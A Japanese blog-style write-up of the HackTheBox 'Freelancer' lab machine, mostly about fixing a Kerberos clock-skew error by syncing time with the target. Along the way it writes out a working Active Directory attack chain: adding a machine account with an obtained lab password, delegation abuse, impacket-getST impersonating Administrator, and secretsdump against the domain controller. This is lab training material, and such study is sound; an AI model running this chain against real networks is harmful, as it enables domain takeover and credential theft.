HackTheBox/Freelancer KRB_AP_ERR_SKEW エラー（Clock skew too great）の解決について

## HackTheBox/Freelancer
複数の攻略記事を見比べて、自分なりに検証もしてみて、やっとroot.txtにたどり着くことが出来ました。

軽く触れてみると
・QR-CODEから得られたURLのID部分。base64でエンコードされています。ここを書き換えてのセッションハイジャック。（個人的にはここが一番萌えた:relaxed:）
・SQL Terminalからxp_cmdshellを起動してリバースシェル。
・MemProcFSを使ってのフォレンジック。
・・等々

Difficulty: Hardの内容盛りだくさんのMachineでした。

## kerberos

そんな中で、今回記事にしてみたいのはkerberosでのエラーについてです。
素人が一生懸命やったことなので理解が間違っているかもしれませんが、私と同じように時刻同期のエラーでつまづいたという人の目に触れて、一助になれば幸いです。

タイトルにある通り```Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)```なんですが
そこまでの過程で```lorra199：'PWN3D#l0rr@Armessa199'```を取得しています。

そして攻略記事を参考に
```bash
impacket-addcomputer -computer-name 'aaaaaaaaaa$' -computer-pass 'bbbbbbb' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'
```

攻撃用のコンピューターを追加します。名前は'aaaaaaaaaa$'、パスワードは'bbbbbbb'にしています。
![001addcomputer.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/287abbce-128e-747f-56f7-e62c3797c3ff.png)

'aaaaaaaaaa$'に書き込み権限を委任します。
![002rbcd.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/7f0178e0-e9a6-28b1-09a7-9b0256d4ce12.png)

ここまでは順調です。そして、チケットを取りに行くところでエラー発生！！
![003getsterror.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/e3306b60-2900-0148-84ab-f15a6a5f3d92.png)

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
調べてみると、クライアントとサーバー間の時刻のズレが大きすぎるために発生するエラーとのこと。
```bash
timedatectl status
```
で確認
```
sudo timedatectl set-ntp true
```
で設定を変えてみる
![004timedatectl.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/fc47bcc1-5ae8-ef1e-3011-39a3e4a8f1c0.png)

それでもダメ:joy:
![003getsterror.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/f3d28315-5e82-9d28-56c7-6f102b0cc7ad.png)

次の手段で```ntpdate -u 10.10.11.5```でターゲットと時刻の同期を試みる。が、not permittedとなる。
![0051notpermitted.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/8a47376f-4281-2914-17f6-c631e744cf7a.png)

それならば、rootになって作業ディレクトリも変えて
![005root.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/4efee18f-b126-9340-72ef-301f553dfeae.png)

systemd-timesyncdとの競合を避けるために
```bash
systemctl stop systemd-timesyncd
```
で自動時刻同期を一時的に停止する。

再度、ntpdate -u 10.10.11.5で同期を試みる。
![006ntpdate.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/7a41d7c5-862b-4fa7-10bc-b7733be58c37.png)

```CLOCK: time stepped by 18000.248677```(18000秒/60/60=5時間)時刻が調整されました:grin:

ふたたび
```bash
impacket-getST -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/aaaaaaaaaa$:bbbbbbb'
```
実行すると
![007getst.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/2a7902b0-0a93-2bd8-f2df-aa066cdc5d6e.png)
(。´・ω・)ん?なんか成功してるっぽい

カレントディレクトリを調べてみると
![008ls.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/70ae923c-23ba-ef23-2d0e-47823f4f3bc9.png)
あったー!!――(ﾟ∀ﾟ)――!!

あとはこれをセオリー通りKRB5CCNAMEに格納して
![009export.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/32f9748e-b564-dfd8-1a48-d686b8021ad8.png)

```bash
impacket-secretsdump 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5
```
を実行
![010secretdumps.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/7da49ad9-a1d3-9ecc-fa8c-68a65e96c58d.png)

最後に
![011winrm.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/d6d17e12-4cfd-32c5-1aa2-9e7611c95b2a.png)

よっしゃー！で、侵入できました:smirk_cat: